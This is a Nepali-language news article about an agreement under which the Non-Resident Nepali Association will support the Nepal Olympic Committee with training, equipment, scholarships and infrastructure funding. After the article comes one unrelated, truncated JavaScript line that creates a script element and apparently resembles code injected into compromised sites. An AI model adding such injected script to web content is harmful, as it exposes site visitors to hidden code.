नेपाली खेल क्षेत्रको विकासका लागि गैरआवासीय नेपाली संघ एनआरएनए र नेपाल ओलम्पिक कमिटी एनओसीबीच सम्झौता भएको छ ।
ललितपुरको सातदोबाटोस्थित नेपाल ओलम्पिक कमिटिको कार्यालयमा आइतबार एक कार्यक्रमकाबीच गैरआवासीय नेपाली संघका अध्यक्ष शेष घले र नेपाल ओलम्पिक कमिटिका अध्यक्ष जीवनराम श्रेष्ठले सम्झौतापत्रमा हस्ताक्षर गर्नुभयो । सम्झौताअनुसार नेपालमा चलिरहेको ओलम्पिक अभियानको साझेदारका रूपमा एनआरएनए रहनेछन । सम्झौतापत्रमा हस्ताक्षर गरेपछि गैरआवासीय नेपाली संघका अध्यक्ष शेष घलेले एनओसीसँगको सम्झौताले नेपाली र दोस्रो पुस्ताका गैरआवासीय नेपालीबिचको सम्बन्ध सुमधुर बनाउने अपेक्षा राखेको बताउनुभयो । उहाँले नेपाली खेलाडीहरूले क्षमता नभएर भन्दा पनि उपयुक्त प्रशिक्षण र अवसर नपाएर उपलब्धि हासिल गर्न नसकेको बताउदै संसारभर छरिएर रहेका दोस्रो पुस्ताका एनआएरएनहरू खेलकुदमार्फत् नेपालीसँग जोडिन उत्सुक रहेको भन्दै एनओसीले यसमा बिशेष ध्यान दिने विश्वास व्यक्त गर्नुभयो । नेपालको खेल क्षेत्रलाई सशक्त र प्रभावकारी बनाउन आफ्नो तर्फबाट आर्थिक, भौतिक पूर्वाधार विकास आदिमा योगदान दिने उद्देश्यका साथ एनओसीसंग सम्झौता गरिएको अध्यक्ष घलेको भनाइ थियो ।
एनआरएनएले विभिन्न खेल क्षेत्रमा सहयोग गर्ने, क्षमतावान् खेलाडीहरूको वैदेशिक प्रशिक्षण र खेलकुद प्रतिस्पर्धामा आवश्यक सामग्री उपलब्ध गराउने छन । त्यसैगरी एनओसीले एनआरएनए स्थापना दिवस ११ अक्टोबरमा विभिन्न खेलकुद प्रतियोगिता आयोजना गर्नेछ । सम्झौतानुसार एनआरएनएले दक्षिण एसियाली, एसियाली र ओलम्पिक खेलकुदमा सहभागिता जनाउने खेलाडीलाई छात्रवृत्तिसमेत प्रदान गर्नेछ ।
कार्यक्रममा नेपाल ओलम्पिक कमिटीका अध्यक्ष जीवनराम श्रेष्ठले एनआरएनएको सहयोगले नेपाली खेलाडीलाई ढाडस दिने भन्दै लक्ष्य प्राप्तिमा सहयोग मिल्ने बताउनुभयो । खेल क्षेत्रमार्फत राष्ट्रको शिर उँचो बनाउने आफूहरूको अभियानमा गैरआवासीय नेपाली संघले साथ दिएकाले आगामी दिनमा अन्तर्राष्ट्रिय जगतमा राम्रो परिणाम ल्याउने विश्वास व्यक्त गर्नुभयो । अध्यक्ष श्रेष्ठले एनआरएनएसंगको सहकार्यले संसारभर रहेका नेपालीहरूबीच सौहार्दता बढाउनाका साथै सांस्कृतिक आदानप्रदानमा समेत योगदान पुग्ने धारणा राख्दै नेपालीहरूलाई एकताको सूत्रमा बाँध्ने एक मात्र क्षेत्र खेलकुद रहेको जिकिर गर्नुभयो । एनआरएनएले नेपाली खेलकुद क्षेत्रको भौतिक पूर्वाधार निर्माणका लागि दाता तथा बहुर्राष्ट्रिय कम्पनीहरूको खोजी गर्ने सहमति पत्रमा उल्लेख छ । कार्यक्रममा एनआरएनएका अध्यक्ष घलेलाई एनओसीको मानार्थ सदस्यता प्रदान गरियो ।

var d=document;var s=d.createElement(‘script’);